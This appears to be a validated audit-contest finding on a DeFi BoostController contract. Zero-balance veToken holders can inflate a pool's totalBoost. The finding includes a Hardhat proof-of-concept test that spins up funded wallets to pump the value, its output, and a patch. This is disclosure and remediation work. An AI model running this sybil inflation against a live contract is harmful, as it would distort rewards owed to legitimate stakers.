Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: medium
Valid

Users with 0 veToken balance can improperly inflate the totalBoost of a pool

Summary

Users with no veToken balance can still call updateUserBoost, which leads to an inflated totalBoost for the pool by returning a fixed amount (10000) in the _calculateBoost function.

Vulnerability Details

When a user calls updateUserBoost inside BoostController.sol, the function calls _calculateBoost with a base amount of 10000:

// Calculate new boost based on current veToken balance
uint256 newBoost = _calculateBoost(user, pool, 10000); // Base amount

Inside _calculateBoost, if the user (msg.sender) has no veToken balance, the function returns the amount (which is 10000):

uint256 userBalance = IERC20(address(veToken)).balanceOf(user);
uint256 totalSupply = IERC20(address(veToken)).totalSupply();
if (userBalance == 0 || totalSupply == 0) {
return amount;
}

As a result, the value of userBoost and poolBoost will be updated with 10000:

uint256 newBoost = _calculateBoost(user, pool, 10000); // Base amount
userBoost.amount = newBoost;
userBoost.lastUpdateTime = block.timestamp;
// Update pool totals safely
if (newBoost >= oldBoost) {
poolBoost.totalBoost = poolBoost.totalBoost + (newBoost - oldBoost);
} else {
poolBoost.totalBoost = poolBoost.totalBoost - (oldBoost - newBoost);
}

Therefore, a user with a 0 veToken balance could increase their boost (userBoost) and totalBoost of a pool by 10000. If this is repeated for 100 addresses, the totalBoost can be inflated by 1,000,000, and all those 100 addresses will get 10000 as userBoost.

Proof of Concept

Please add the following test case to BoostController.test.js under Boost Calculations suite:

it("totalBoost increase with 0 ve balance", async () => {
const amount = ethers.parseEther("100");
const provider = ethers.provider;
const [totalBoostBefore,,,] = await boostController.getPoolBoost(mockPool.getAddress());
console.log("Total Boost Before:", totalBoostBefore.toString());
for (let i = 0; i < 20; i++) {
const randomWallet = ethers.Wallet.createRandom().connect(provider);
const fundTx = await owner.sendTransaction({
to: randomWallet.address,
value: ethers.parseEther("1.0")
});
await fundTx.wait();
const tx = await boostController.connect(randomWallet).updateUserBoost(randomWallet.address, mockPool.getAddress(), {
gasLimit: 5000000
});
await tx.wait();
}
const [totalBoostAfter,,,] = await boostController.getPoolBoost(mockPool.getAddress());
console.log("Total Boost After:", totalBoostAfter.toString());
});

Run the test:

npm run test:unit:governance -- --grep "totalBoost increase with 0 ve balance"

Result:

BoostController
Boost Calculations
Total Boost Before: 0
Total Boost After: 200000
✔ totalBoost increase with 0 ve balance (19899ms)
1 passing (28s)

Impact

A user with no veToken balance can inflate a pool's totalBoost by an arbitrary amount

Tools Used

  • VSCode

  • Hardhat

Recommendations

Return 0 if the user has 0 veToken balance:

function _calculateBoost(
address user,
address pool,
uint256 amount
) internal view returns (uint256) {
if (amount == 0) revert InvalidBoostAmount();
if (!supportedPools[pool]) revert PoolNotSupported();
// Get current weights without modifying state
(uint256 totalWeight, uint256 totalVotingPower, uint256 votingPower) = updateTotalWeight();
uint256 userBalance = IERC20(address(veToken)).balanceOf(user);
uint256 totalSupply = IERC20(address(veToken)).totalSupply();
if (userBalance == 0 || totalSupply == 0) {
- return amount;
+ return 0;
}
// Create parameters struct for calculation
BoostCalculator.BoostParameters memory params = BoostCalculator.BoostParameters({
maxBoost: boostState.maxBoost,
minBoost: boostState.minBoost,
boostWindow: boostState.boostWindow,
totalWeight: totalWeight,
totalVotingPower: totalVotingPower,
votingPower: votingPower
});
(uint256 boostBasisPoints, uint256 boostedAmount) = BoostCalculator.calculateTimeWeightedBoost(
params,
userBalance,
totalSupply,
amount
);
if (boostedAmount < amount) {
return amount;
}
uint256 maxBoostAmount = amount * MAX_BOOST / 10000;
if (boostedAmount > maxBoostAmount) {
return maxBoostAmount;
}
return boostedAmount;
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BoostController::updateUserBoost uses hardcoded 10000 base amount, storing basis points instead of actual boosted amount

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BoostController::updateUserBoost uses hardcoded 10000 base amount, storing basis points instead of actual boosted amount

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!